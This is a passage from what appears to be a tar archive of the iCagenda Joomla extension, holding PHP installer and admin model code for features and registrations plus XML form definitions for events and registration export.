				if (!file_exists($filesource)) {
					JError::raiseWarning(1, JText::sprintf('COM_ICAGENDA_FILE_NOT_EXISTS', $filesource));
					return false;
				} else {
					if (!(JFile::copy($filesource, $filedest))) {
						JError::raiseWarning(1, JText::sprintf('COM_ICAGENDA_ERROR_COPY_FILE_TO', $filesource, $filedest));
						return false;
					} else {
						$i++;
					}
				}
			}
			$fileIncluded = 1;
		}

		if ($fileIncluded == 0 && $folderIncluded ==0) {
			JError::raiseWarning(1, JText::sprintf('COM_ICAGENDA_ERROR_INSTALL_FILE'));
			return false;
		}

		return $i;// Possible TO DO, now it returns count folders and files togeter, //return count($files);
	}

	protected function getParamsThemes() {

		$element = $this->_manifest->children()->params;

		if (!is_a($element, 'JXMLElement') || !count($element->children())) {
			return null;// Either the tag does not exist or has no children therefore we return zero files processed.
		}

		$params = $element->children();
		if (count($params) == 0) {
			return null;// No params to process
		}

		// Process each parameter in the $params array.
		$paramsArray = array();
		$i=0;
		foreach ($params as $param) {
			if (!$name = $param['name']) {
				continue;
			}
			if (!$value = $param['default']) {
				continue;
			}

			$paramsArray[$i]['name'] = (string)$name;
			$paramsArray[$i]['value'] = (string)$value;
			$i++;
		}
		return $paramsArray;
	}

	function deleteTempFiles() {
		$path = $this->getPath('source');
		if (is_dir($path)) {
			$val = JFolder::delete($path);
		} else if (is_file($path)) {
			$val = JFile::delete($path);
		}
		$packageFile = $this->getPath('packagefile');
		if (is_file($packageFile)) {
			$val = JFile::delete($packageFile);
		}
		$extractDir = $this->getPath('extractdir');
		if (is_dir($extractDir)) {
			$val = JFolder::delete($extractDir);
		}
	}


	/*
	 * Added @since 3.0.
	 */
	public static function unpack($p_filename)
	{
		// Path to the archive
		$archivename = $p_filename;

		// Temporary folder to extract the archive into
		$tmpdir = uniqid('install_');

		// Clean the paths to use for archive extraction
		$extractdir = JPath::clean(dirname($p_filename) . '/' . $tmpdir);
		$archivename = JPath::clean($archivename);

		// Do the unpacking of the archive
		try
		{
			JArchive::extract($archivename, $extractdir);
		}
		catch (Exception $e)
		{
			return false;
		}

		/*
		 * Let's set the extraction directory and package file in the result array so we can
		 * cleanup everything properly later on.
		 */
		$retval['extractdir'] = $extractdir;
		$retval['packagefile'] = $archivename;

		/*
		 * Try to find the correct install directory.  In case the package is inside a
		 * subdirectory detect this and set the install directory to the correct path.
		 *
		 * List all the items in the installation directory.  If there is only one, and
		 * it is a folder, then we will set that folder to be the installation folder.
		 */
		$dirList = array_merge(JFolder::files($extractdir, ''), JFolder::folders($extractdir, ''));

		if (count($dirList) == 1)
		{
			if (JFolder::exists($extractdir . '/' . $dirList[0]))
			{
				$extractdir = JPath::clean($extractdir . '/' . $dirList[0]);
			}
		}

		/*
		 * We have found the install directory so lets set it and then move on
		 * to detecting the extension type.
		 */
		$retval['dir'] = $extractdir;

		/*
		 * Get the extension type and return the directory/type array on success or
		 * false on fail.
		 */
		$retval['type'] = self::detectType($extractdir);
		if ($retval['type'])
		{
			return $retval;
		}
		else
		{
			return false;
		}
	}

	/*
	 * Added @since 3.0.
	 */
	public static function detectType($p_dir)
	{
		// Search the install dir for an XML file
		$files = JFolder::files($p_dir, '\.xml$', 1, true);

		if (!count($files))
		{
			JLog::add(JText::_('JLIB_INSTALLER_ERROR_NOTFINDXMLSETUPFILE'), JLog::WARNING, 'jerror');
			return false;
		}

		foreach ($files as $file)
		{
			$xml = simplexml_load_file($file);

			if (!$xml)
			{
				continue;
			}

			if ($xml->getName() != 'install')
			{
				unset($xml);
				continue;
			}

			$type = (string) $xml->attributes()->type;

			// Free up memory
			unset($xml);
			return $type;
		}

		JLog::add(JText::_('JLIB_INSTALLER_ERROR_NOTFINDJOOMLAXMLSETUPFILE'), JLog::WARNING, 'jerror');

		// Free up memory.
		unset($xml);
		return false;
	}

}
?>
com_icagenda/models/feature.php000060400000010215152455305270012567 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      doorknob
 * @link        http://www.joomlic.com
 *
 * @version     3.4.0 2014-12-05
 * @since       3.4.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

jimport('joomla.application.component.modeladmin');

/**
 * iCagenda model.
 */
class iCagendaModelfeature extends JModelAdmin
{
	/**
	 * @var		string	The prefix to use with controller messages.
	 * @since	3.4.0
	 */
	protected $text_prefix = 'COM_ICAGENDA';

	/**
	 * Returns a reference to the a Table object, always creating it.
	 *
	 * @param	type	The table type to instantiate
	 * @param	string	A prefix for the table class name. Optional.
	 * @param	array	Configuration array for model. Optional.
	 * @return	JTable	A database object
	 * @since	3.4.0
	 */
	public function getTable($type = 'Feature', $prefix = 'iCagendaTable', $config = array())
	{
		return JTable::getInstance($type, $prefix, $config);
	}

	/**
	 * Method to get the record form.
	 *
	 * @param	array	$data		An optional array of data for the form to interogate.
	 * @param	boolean	$loadData	True if the form is to load its own data (default case), false if not.
	 * @return	JForm	A JForm object on success, false on failure
	 * @since	3.4.0
	 */
	public function getForm($data = array(), $loadData = true)
	{
		// Initialise variables.
		$app	= JFactory::getApplication();

		// Get the form.
		$form = $this->loadForm('com_icagenda.feature', 'feature', array('control' => 'jform', 'load_data' => $loadData));

		if (empty($form))
		{
			return false;
		}

		return $form;
	}

	/**
	 * Method to get the data that should be injected in the form.
	 *
	 * @return	mixed	The data for the form.
	 * @since	3.4.0
	 */
	protected function loadFormData()
	{
		// Check the session for previously entered form data.
		$data = JFactory::getApplication()->getUserState('com_icagenda.edit.feature.data', array());

		if (empty($data))
		{
			$data = $this->getItem();
		}

		return $data;
	}

	/**
	 * Method to get a single record.
	 *
	 * @param	integer	The id of the primary key.
	 *
	 * @return	mixed	Object on success, false on failure.
	 * @since	3.4.0
	 */
	public function getItem($pk = null)
	{
		if ($item = parent::getItem($pk))
		{
			//Do any procesing on fields here if needed
		}

		return $item;
	}

	/**
	 * Prepare and sanitise the table prior to saving.
	 *
	 * @since	3.4.0
	 */
	protected function prepareTable($table)
	{
		jimport('joomla.filter.output');

		if (empty($table->id))
		{
			// Set ordering to the last item if not set
			if (@$table->ordering === '')
			{
				$db = JFactory::getDbo();
				$db->setQuery('SELECT MAX(ordering) FROM #__icagenda_feature');
				$max = $db->loadResult();
				$table->ordering = $max+1;
			}
		}
	}

	/**
	 * Method to save the form data.
	 *
	 * @param   array  $data  The form data.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   3.4.0
	 */
	public function save($data)
	{
		$date = JFactory::getDate();

		if (empty($data['created']))
		{
			$data['created'] = !empty($data['created']) ? $data['created'] : $date->toSql();
		}

		// Generates Alias if empty
		// Alias is not generated if non-latin characters, so we fix it by using created date, or title if unicode is activated, as alias
		if ($data['alias'] == null || empty($data['alias']))
		{
			$data['alias'] = JFilterOutput::stringURLSafe($data['title']);

			if ($data['alias'] == null || empty($data['alias']))
			{
				if (JFactory::getConfig()->get('unicodeslugs') == 1)
				{
					$data['alias'] = JFilterOutput::stringURLUnicodeSlug($data['title']);
				}
				else
				{
					$data['alias'] = JFilterOutput::stringURLSafe($data['created']);
				}
			}
		}

		$return = parent::save($data);

		return $return;
	}
}
com_icagenda/models/registration.php000060400000013331152455305270013650 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.5.7 2015-07-16
 * @since       3.3.3
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

jimport('joomla.application.component.modeladmin');


/**
 * iCagenda model.
 */
class iCagendaModelregistration extends JModelAdmin
{
	/**
	 * @var		string	The prefix to use with controller messages.
	 * @since	3.3.3
	 */
	protected $text_prefix = 'COM_ICAGENDA';

	/**
	 * Method to test whether a record can be deleted.
	 *
	 * @param   object  $record  A record object.
	 *
	 * @return  boolean  True if allowed to delete the record. Defaults to the permission set in the component.
	 *
	 * @since   3.5.6
	 */
	protected function canDelete($record)
	{
		if ( ! empty($record->id))
		{
			if ($record->state != -2)
			{
				return false;
			}

			$user = JFactory::getUser();

			if ($user->authorise('core.delete'))
			{
				icagendaCustomfields::deleteData($record->id, 1);
				icagendaCustomfields::cleanData(1);

				return true;
			}
		}

		return false;
	}

	/**
	 * Returns a reference to the a Table object, always creating it.
	 *
	 * @param	type	The table type to instantiate
	 * @param	string	A prefix for the table class name. Optional.
	 * @param	array	Configuration array for model. Optional.
	 * @return	JTable	A database object
	 * @since	3.3.3
	 */
	public function getTable($type = 'Registration', $prefix = 'iCagendaTable', $config = array())
	{
		return JTable::getInstance($type, $prefix, $config);
	}

	/**
	 * Method to get the record form.
	 *
	 * @param	array	$data		An optional array of data for the form to interogate.
	 * @param	boolean	$loadData	True if the form is to load its own data (default case), false if not.
	 * @return	JForm	A JForm object on success, false on failure
	 * @since	3.3.3
	 */
	public function getForm($data = array(), $loadData = true)
	{
		// Get the form.
		$form = $this->loadForm('com_icagenda.registration', 'registration',
								array('control' => 'jform', 'load_data' => $loadData));
		if (empty($form))
		{
			return false;
		}

		return $form;
	}

	/**
	 * Method to get the data that should be injected in the form.
	 *
	 * @return	mixed	The data for the form.
	 * @since	3.3.3
	 */
	protected function loadFormData()
	{
		// Check the session for previously entered form data.
		$data_array = JFactory::getApplication()->getUserState('com_icagenda.edit.registration.data', array());

		if (empty($data_array))
		{
			$data = $this->getItem();
		}
		else
		{
			$data = new JObject;
			$data->setProperties($data_array);
		}

		return $data;
	}

	/**
	 * Method to save the form data.
	 *
	 * @param   array  $data  The form data.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since	3.5.6
	 */
	public function save($data)
	{
		$app	= JFactory::getApplication();
		$input	= $app->input;
		$date	= JFactory::getDate();
		$user	= JFactory::getUser();

//		if (empty($data['created'])) // not to be used, to leave created empty if before update to 3.5.7
//		{
//			$data['created'] = ( ! empty($data['modified'])) ? $data['modified'] : $date->toSql();
//		}

		// Set registration creator
		if (empty($data['created_by']))
		{
			$data['created_by'] = (int) $data['userid'];
		}

		// Set Params
		if (isset($data['params']) && is_array($data['params']))
		{
			// Convert the params field to a string.
			$parameter = new JRegistry;
			$parameter->loadArray($data['params']);
			$data['params'] = (string)$parameter;
		}

		if ($input->get('task') == 'delete')
		{
			icagendaCustomfields::deleteData($data['custom_fields'], $data['id'], 1);
			$app->enqueueMessage('Test', 'warning');
		}

		// Get Registration ID from the result back to the Table after saving.
		$table = $this->getTable();

		if ($table->save($data) === true)
		{
			$data['id'] = $table->id;
		}
		else
		{
			$data['id'] = null;
		}

		if (parent::save($data))
		{
			// Save Custom Fields to database
			if (isset($data['custom_fields']) && is_array($data['custom_fields']))
			{
				icagendaCustomfields::saveToData($data['custom_fields'], $data['id'], 1);
			}

			return true;
		}

		return false;
	}

	/**
	 * Method to get a single record.
	 *
	 * @param	integer	The id of the primary key.
	 *
	 * @return	mixed	Object on success, false on failure.
	 * @since	3.3.3
	 */
	public function getItem($pk = null)
	{
		if ($item = parent::getItem($pk))
		{
			// Do any procesing on fields here if needed
		}

		return $item;
	}

	/**
	 * Prepare and sanitise the table prior to saving.
	 *
	 * @since	3.3.3
	 */

	protected function prepareTable($table)
	{
		$date = JFactory::getDate();
		$user = JFactory::getUser();

		$table->name = htmlspecialchars_decode($table->name, ENT_QUOTES);

		if (empty($table->id))
		{
			// Set the values
			$table->created		= $date->toSql();
			$table->created_by	= $user->get('id');

			// Set ordering to the last item if not set
			if (empty($table->ordering))
			{
				$db = JFactory::getDbo();
				$query = $db->getQuery(true)
					->select('MAX(ordering)')
					->from($db->quoteName('#__icagenda_registration'));
				$db->setQuery($query);
				$max = $db->loadResult();

				$table->ordering = $max + 1;
			}
		}
		else
		{
			// Set the values
			$table->modified	= $date->toSql();
			$table->modified_by	= $user->get('id');
		}
	}
}
com_icagenda/models/forms/event.xml000060400000032151152455305270013417 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fieldset addfieldpath="/administrator/components/com_icagenda/models/fields" >
		<field
			name="id"
			type="text"
			label="JGLOBAL_FIELD_ID_LABEL"
			description ="JGLOBAL_FIELD_ID_DESC"
			class="readonly"
			size="10"
			readonly="true"
			default="0"
			/>
		<field
			name="title"
			type="text"
			label="COM_ICAGENDA_FORM_LBL_EVENT_TITLE"
			description="COM_ICAGENDA_FORM_DESC_EVENT_TITLE"
			class="input-xlarge"
			size="30"
			required="true"
			/>
		<field
			name="alias"
			type="text"
			label="JFIELD_ALIAS_LABEL"
			description="JFIELD_ALIAS_DESC"
			/>
		<field
			name="state"
			type="list"
			label="JSTATUS"
			description="JFIELD_PUBLISHED_DESC"
			class="span12 small"
			filter="intval"
			size="1"
			default="1"
			>
			<option value="1">JPUBLISHED</option>
			<option value="0">JUNPUBLISHED</option>
			<option value="2">JARCHIVED</option>
			<option value="-2">JTRASHED</option>
		</field>
		<field
			name="approval"
			type="list"
			label="COM_ICAGENDA_EVENTS_APPROVAL"
			description="COM_ICAGENDA_EVENTS_APPROVAL_DESC"
			class="span12 small"
			filter="intval"
			size="1"
			default="0"
			>
			<option value="0">COM_ICAGENDA_APPROVED</option>
			<option value="1">COM_ICAGENDA_UNAPPROVED</option>
		</field>
		<field
			name="site_itemid"
			type="test"
			label="COM_ICAGENDA_FORM_FRONTEND_SUBMIT_ITEMID_LBL"
			description="COM_ICAGENDA_FORM_FRONTEND_SUBMIT_ITEMID_DESC"
			size="3"
			class="inputbox"
			readonly="true"
			default="0"
			/>
		<field
			name="access"
			type="accesslevel"
			label="JFIELD_ACCESS_LABEL"
			description="COM_ICAGENDA_ACCESS_DESC"
			class="span12 small"
			size="1"
			default="1"
		/>
		<field
			name="language"
			type="contentlanguage"
			label="JFIELD_LANGUAGE_LABEL"
			description="COM_ICAGENDA_FORM_DESC_LANGUAGE"
			class="span12 small"
			>
			<option value="*">JALL</option>
		</field>
		<field
			name="created"
			type="calendar"
			label="JGLOBAL_FIELD_CREATED_LABEL"
			format="%Y-%m-%d %H:%M:%S"
			filter="user_utc"
			/>
		<field
			name="created_by"
			type="user"
			label="JGLOBAL_FIELD_CREATED_BY_LABEL"
			description="JGLOBAL_FIELD_CREATED_BY_DESC"
			/>
		<field
			name="created_by_alias"
			type="text"
			label="JGLOBAL_FIELD_CREATED_BY_ALIAS_LABEL"
			description="JGLOBAL_FIELD_CREATED_BY_ALIAS_DESC"
			class="inputbox"
			size="20"
			/>
		<field
			name="username"
			type="text"
			label="COM_ICAGENDA_FORM_LBL_EVENT_USERNAME"
			description="COM_ICAGENDA_FORM_DESC_EVENT_USERNAME"
			size="40"
			class="inputbox"
			filter="safehtml"
			/>
		<field
			name="modified"
			type="calendar"
			label="JGLOBAL_FIELD_MODIFIED_LABEL"
			class="readonly"
			size="22"
			readonly="true"
			format="%Y-%m-%d %H:%M:%S"
			filter="user_utc"
			/>
		<field
			name="modified_by"
			type="user"
			label="JGLOBAL_FIELD_MODIFIED_BY_LABEL"
			description="JGLOBAL_FIELD_MODIFIED_BY_DESC"
			class="readonly"
			readonly="true"
			filter="unset"
			/>
		<field name="checked_out" type="hidden" filter="unset" />
		<field name="checked_out_time" type="hidden" filter="unset" />
		<field
			name="catid"
			type="modal_cat"
			label="COM_ICAGENDA_FORM_LBL_EVENT_CATID"
			description="COM_ICAGENDA_FORM_DESC_EVENT_CATID"
			class="inputbox"
			required="true"
			/>
		<field
			name="image"
			type="media"
			label="COM_ICAGENDA_FORM_LBL_EVENT_IMAGE"
			description="COM_ICAGENDA_FORM_DESC_EVENT_IMAGE"
			filter="safehtml"
			/>
		<field
			name="file"
			type="modal_icfile"
			class="inputbox"
			id="upload_file"
			label="COM_ICAGENDA_FORM_LBL_EVENT_FILE"
			description="COM_ICAGENDA_FORM_DESC_EVENT_FILE"
			/>
		<field
			name="displaytime"
			type="radio"
			class="btn-group"
			label="COM_ICAGENDA_DISPLAY_TIME_LABEL"
			description="COM_ICAGENDA_DISPLAY_TIME_DESC"
			>
			<option value="0">JHIDE</option>
			<option value="1">JSHOW</option>
		</field>
		<field
			name="dates"
			type="modal_date"
			class="inputbox"
			label="COM_ICAGENDA_FORM_LBL_EVENT_DATES"
			description="COM_ICAGENDA_FORM_DESC_EVENT_DATES"
			default="0000-00-00 00:00"
			/>
		<!--field
			name="eventDates"
			type="modal_ic_singledates"
			label="COM_ICAGENDA_FORM_LBL_EVENT_DATES"
			description="COM_ICAGENDA_FORM_DESC_EVENT_DATES"
			class="inputbox"
			/-->
		<field
			name="startdate"
			type="modal_startdate"
			size="40"
			class="inputbox"
			label="COM_ICAGENDA_FORM_LBL_EVENTPERIOD_START"
			description="COM_ICAGENDA_FORM_DESC_EVENTPERIOD_START"
			/>
		<field
			name="enddate"
			type="modal_enddate"
			size="40"
			class="inputbox"
			label="COM_ICAGENDA_FORM_LBL_EVENTPERIOD_END"
			description="COM_ICAGENDA_FORM_DESC_EVENTPERIOD_END"
			/>
		<field
			name="weekdays"
			type="list"
			label="COM_ICAGENDA_FORM_LBL_WEEK_DAYS"
			description="COM_ICAGENDA_FORM_WEEK_DAYS_INFO_DESC"
			multiple="true"
			default=""
			>
			<option value="0">SUNDAY</option>
			<option value="1">MONDAY</option>
			<option value="2">TUESDAY</option>
			<option value="3">WEDNESDAY</option>
			<option value="4">THURSDAY</option>
			<option value="5">FRIDAY</option>
			<option value="6">SATURDAY</option>
		</field>
		<!--field
			name="weekdays_filter"
			type="modal_icfilter_weekdays"
			label="COM_ICAGENDA_FORM_LBL_WEEK_DAYS"
			description="COM_ICAGENDA_FORM_DESC_WEEK_DAYS"
			multiple="true"
			default=""
			/-->
		<field
			name="next"
			type="hidden"
			class="inputbox"
			default="0000-00-00 00:00:00"
			/>
		<field
			name="email"
			type="email"
			label="COM_ICAGENDA_FORM_LBL_EVENT_EMAIL"
			description="COM_ICAGENDA_FORM_DESC_EVENT_EMAIL"
			size="30"
			class="inputbox"
			filter="safehtml"
			/>
		<field
			name="phone"
			type="text"
			label="COM_ICAGENDA_FORM_LBL_EVENT_PHONE"
			description="COM_ICAGENDA_FORM_DESC_EVENT_PHONE"
			size="30"
			class="inputbox"
			filter="safehtml"
			/>
		<field
			name="website"
			type="text"
			label="COM_ICAGENDA_FORM_LBL_EVENT_WEBSITE"
			description="COM_ICAGENDA_FORM_DESC_EVENT_WEBSITE"
			size="30"
			class="inputbox"
			filter="safehtml"
			/>
		<field
			name="features"
			type="sql"
			label="COM_ICAGENDA_FORM_LBL_EVENT_FEATURES"
			description="COM_ICAGENDA_FORM_DESC_EVENT_FEATURES"
			query="SELECT id AS value, title AS features FROM #__icagenda_feature WHERE state=1 AND icon IS NOT NULL AND icon!='' ORDER BY features"
			multiple="true"
			class="inputbox"
			/>
		<!--field
			name="features"
			type="modal_features"
			label="COM_ICAGENDA_FORM_LBL_EVENT_FEATURES"
			description="COM_ICAGENDA_FORM_DESC_EVENT_FEATURES"
			multiple="true"
			class="inputbox"
			/-->
		<field
			name="custom_fields"
			type="hidden"
			class="inputbox"
			default=""
			/>
		<field
			name="place"
			type="text"
			label="COM_ICAGENDA_FORM_LBL_EVENT_VENUE"
			description="COM_ICAGENDA_FORM_DESC_EVENT_VENUE"
			size="30"
			class="inputbox"
			filter="safehtml"
			/>
		<field
			name="coordinate"
			type="modal_coordinate"
			label="COM_ICAGENDA_FORM_LBL_EVENT_MAP"
			description="COM_ICAGENDA_FORM_DESC_EVENT_MAP"
			class="inputbox"
			/>
		<field
			name="address"
			type="text"
			label="COM_ICAGENDA_GOOGLE_MAPS_ADDRESS_LBL"
			description="COM_ICAGENDA_FORM_DESC_EVENT_LOCATION"
			class="inputbox"
			filter="safehtml"
			/>
		<field
			name="city"
			type="icmap_city"
			label="COM_ICAGENDA_FORM_LBL_EVENT_CITY"
			description="COM_ICAGENDA_FORM_DESC_EVENT_CITY"
			class="inputbox"
			filter="safehtml"
			/>
		<field
			name="country"
			type="icmap_country"
			label="COM_ICAGENDA_FORM_LBL_EVENT_COUNTRY"
			description="COM_ICAGENDA_FORM_DESC_EVENT_COUNTRY"
			class="inputbox"
			filter="safehtml"
			labelclass="control-label"
			/>
		<field
			name="lat"
			type="icmap_lat"
			label="LATITUDE"
			description="COM_ICAGENDA_FORM_DESC_EVENT_MAP"
			class="inputbox"
			/>
		<field
			name="lng"
			type="icmap_lng"
			label="LONGITUDE"
			description="COM_ICAGENDA_FORM_DESC_EVENT_MAP"
			class="inputbox"
			/>
		<field
			name="shortdesc"
			type="modal_ictextarea_counter"
			label="COM_ICAGENDA_FORM_EVENT_SHORT_DESCRIPTION_LBL"
			description="COM_ICAGENDA_FORM_EVENT_SHORT_DESCRIPTION_DESC"
			class="span-12"
			row="3"
			cols="80"
			/>
		<field
			name="desc"
			type="editor"
			label="COM_ICAGENDA_FORM_LBL_EVENT_DESC"
			description="COM_ICAGENDA_FORM_DESC_EVENT_DESC"
			buttons="true"
			hide="readmore,pagebreak,helix_shortcode"
			class="inputbox"
			filter="JComponentHelper::filterText"
			/>
		<field
			name="metadesc"
			type="modal_ictextarea_counter"
			label="COM_ICAGENDA_FORM_EVENT_METADESC_LBL"
			description="COM_ICAGENDA_FORM_EVENT_METADESC_DESC"
			class="span-12"
			row="3"
			cols="80"
			/>
	</fieldset>
	<fields name="params">

		<!-- Registrations Tab - Individual Params -->
		<fieldset name="registrations"
			addfieldpath="/administrator/components/com_icagenda/assets/elements"
			>
			<field type="TitleHeader" label="COM_ICAGENDA_REGISTRATION_LABEL" />
			<field
				name="statutReg"
				type="radio"
				label="COM_ICAGENDA_REGISTRATION_LABEL"
				description="COM_ICAGENDA_REGISTRATION_DESC"
				labelclass="control-label"
				class="btn-group"
				default=""
				>
				<option value="">JGLOBAL_USE_GLOBAL</option>
				<option value="0">JOFF</option>
				<option value="1">JON</option>
			</field>
			<field
				name="accessReg"
				type="accesslevel"
				label="JFIELD_ACCESS_LABEL"
				description="JFIELD_ACCESS_DESC"
				class="inputbox"
				size="1"
				default=""
				>
				<option value="">JGLOBAL_USE_GLOBAL</option>
			</field>
			<field type="TitleHeader" label="COM_ICAGENDA_REGISTRATION_FORM_OPTIONS_LABEL" />
			<field
				name="typeReg"
				type="list"
				label="COM_ICAGENDA_TYPE_REG_LABEL"
				description="COM_ICAGENDA_TYPE_REG_DESC"
				default="1"
				>
				<option value="1">COM_ICAGENDA_ADMIN_REGISTRATION_BY_INDIVIDUAL_DATE</option>
				<option value="2">COM_ICAGENDA_ADMIN_REGISTRATION_FOR_ALL_DATES</option>
			</field>
			<!--field type="Title" label="COM_ICAGENDA_MAX_REGISTRATIONS_DESC"
				class="styleblanck"/-->
			<!--field
				name="maxRegGlobal"
				type="radio"
				label="JGLOBAL_USE_GLOBAL"
				description="JGLOBAL_USE_GLOBAL"
				default="1"
				>
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field-->
			<field
				name="maxReg"
				type="text"
				label="COM_ICAGENDA_MAX_REGISTRATIONS_LABEL"
				description="COM_ICAGENDA_MAX_REGISTRATIONS_DESC"
				size="3"
				default=""
				/>
			<field
				name="maxRlistGlobal"
				type="radio"
				label="COM_ICAGENDA_MAX_PER_REGISTRATION_LABEL"
				description="COM_ICAGENDA_MAX_PER_REGISTRATION_DESC"
				labelclass="control-label"
				class="btn-group"
				default=""
				>
				<option value="">JGLOBAL_USE_GLOBAL</option>
				<option value="2">COM_ICAGENDA_LBL_CUSTOM_VALUE</option>
			</field>
			<field
				name="maxRlist"
				type="text"
				label="COM_ICAGENDA_LBL_CUSTOM_VALUE"
				description="COM_ICAGENDA_DESC_CUSTOM_VALUE"
				size="2"
				default=""
				/>
			<field type="TitleHeader" label="COM_ICAGENDA_REGISTRATION_BUTTON" />
			<!--field
				name="maxRlistGlobal"
				type="radio"
				label="COM_ICAGENDA_MAX_PER_REGISTRATION_LABEL"
				description="COM_ICAGENDA_MAX_PER_REGISTRATION_DESC"
				labelclass="control-label"
				class="btn-group"
				default=""
				>
				<option value="">JGLOBAL_USE_GLOBAL</option>
				<option value="2">COM_ICAGENDA_LBL_CUSTOM_VALUE</option>
			</field-->
			<field
				name="RegButtonText"
				type="modal_ph_regbt"
				label="COM_ICAGENDA_REGISTRATION_BUTTON_TEXT"
				description="COM_ICAGENDA_REGISTRATION_BUTTON_TEXT_DESC"
				size="40"
				class="inputbox"
				default=""
				/>
			<field
				name="RegButtonLink"
				type="modal_iclink_type"
				label="COM_ICAGENDA_REGISTRATION_LINK_LBL"
				description="COM_ICAGENDA_REGISTRATION_LINK_DESC"
				labelclass="control-label"
				default=""
				/>
			<field
				name="RegButtonLink_Article"
				type="modal_iclink_article"
				label=" "
				class="inputbox"
				/>
			<field
				name="RegButtonLink_Url"
				type="modal_iclink_url"
				label=" "
				class="inputbox"
				/>
			<field
				name="RegButtonTarget"
				type="list"
				label="COM_ICAGENDA_BROWSER_TARGET"
				description="COM_ICAGENDA_REGISTRATION_LINK_BROWSER_TARGET_DESC"
				default="0"
				filter="options"
				class="inputbox"
				>
				<option value="0">JBROWSERTARGET_PARENT</option>
				<option value="1">JBROWSERTARGET_NEW</option>
			</field>
			<field type="Title" label=" "
				class="styleblanck"/>
		</fieldset>

		<!-- Registrations Tab - Actions -->
		<fieldset name="registration_actions">
		</fieldset>

		<!-- Option Tab - Options -->
		<fieldset name="options">
			<field type="Title" label="COM_ICAGENDA_ADDTHIS"
				class="styleblanck"/>
			<field
				name="atevent"
				type="radio"
				label="COM_ICAGENDA_ADDTHIS_DISPLAY_SHARING"
				description="COM_ICAGENDA_ADDTHIS_EVENT_DESC"
				class="btn-group"
				default=""
				>
				<option value="">JGLOBAL_USE_GLOBAL</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>
			<!--field
				name="mapTypeId"
				type="list"
				label="mapTypeId"
				description="mapTypeId"
				filter="safehtml"
				default="ROADMAP"
				>
				<option value="ROADMAP">ROADMAP</option>
				<option value="TERRAIN">TERRAIN</option>
				<option value="SATELLITE">SATELLITE</option>
				<option value="HYBRID">HYBRID</option>
			</field-->
		</fieldset>
	</fields>
</form>
com_icagenda/models/forms/download.xml000060400000006150152455305270014105 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fieldset name="details" addfieldpath="/administrator/components/com_icagenda/assets/elements">
		<field
			type="TitleImg"
			label="JOPTIONS"
			class="stylebox lead input-xxlarge"
			icicon="options"
			/>
		<field
			name="event_title"
			type="radio"
			class="btn-group btn-group-yesno"
			label="COM_ICAGENDA_REGISTRATION_EVENTID"
			default="1"
		>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>
		<field
			name="date"
			type="radio"
			class="btn-group btn-group-yesno"
			label="COM_ICAGENDA_REGISTRATION_DATE"
			default="1"
		>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>
		<field
			name="tickets"
			type="radio"
			class="btn-group btn-group-yesno"
			label="COM_ICAGENDA_REGISTRATION_TICKETS"
			default="1"
		>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>
		<field
			name="name"
			type="radio"
			class="btn-group btn-group-yesno"
			label="IC_NAME"
			default="1"
		>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>
		<field
			name="email"
			type="radio"
			class="btn-group btn-group-yesno"
			label="COM_ICAGENDA_REGISTRATION_EMAIL"
			default="1"
		>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>
		<field
			name="phone"
			type="radio"
			class="btn-group btn-group-yesno"
			label="COM_ICAGENDA_REGISTRATION_PHONE"
			default="1"
		>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>
		<field
			name="customfields"
			type="radio"
			class="btn-group btn-group-yesno"
			label="COM_ICAGENDA_CUSTOMFIELDS"
			default="1"
		>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>
		<field
			name="notes"
			type="radio"
			class="btn-group btn-group-yesno"
			label="COM_ICAGENDA_REGISTRATION_NOTES_DISPLAY_LABEL"
			default="0"
		>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>
		<field
			name="status"
			type="radio"
			class="btn-group btn-group-yesno"
			label="JSTATUS"
			default="0"
		>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>
		<field
			type="TitleImg"
			label="COM_ICAGENDA_REGISTRATIONS_EXPORT"
			class="stylebox lead input-xxlarge"
			icicon="logo"
			/>
		<field
			name="basename"
			type="text"
			size="40"
			label="COM_ICAGENDA_EXPORT_BASENAME_LABEL"
			description="COM_ICAGENDA_EXPORT_BASENAME_DESC"
			class="inputbox"
			/>
		<field
			name="separator"
			type="radio"
			class="btn-group btn-group-yesno"
			label="COM_ICAGENDA_EXPORT_SEPARATOR_LABEL"
			description="COM_ICAGENDA_EXPORT_SEPARATOR_DESC"
			default="1"
		>
			<option value="1">IC_COMMA</option>
			<option value="2">IC_SEMICOLON</option>
		</field>
		<field
			name="compressed"
			type="radio"
			class="btn-group btn-group-yesno"
			label="COM_ICAGENDA_EXPORT_COMPRESSED_LABEL"
			description="COM_ICAGENDA_EXPORT_COMPRESSED_DESC"
			default="0"
		>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>
		<field type="Title" label=" " class="stylenote"/>
	</fieldset>
</form>
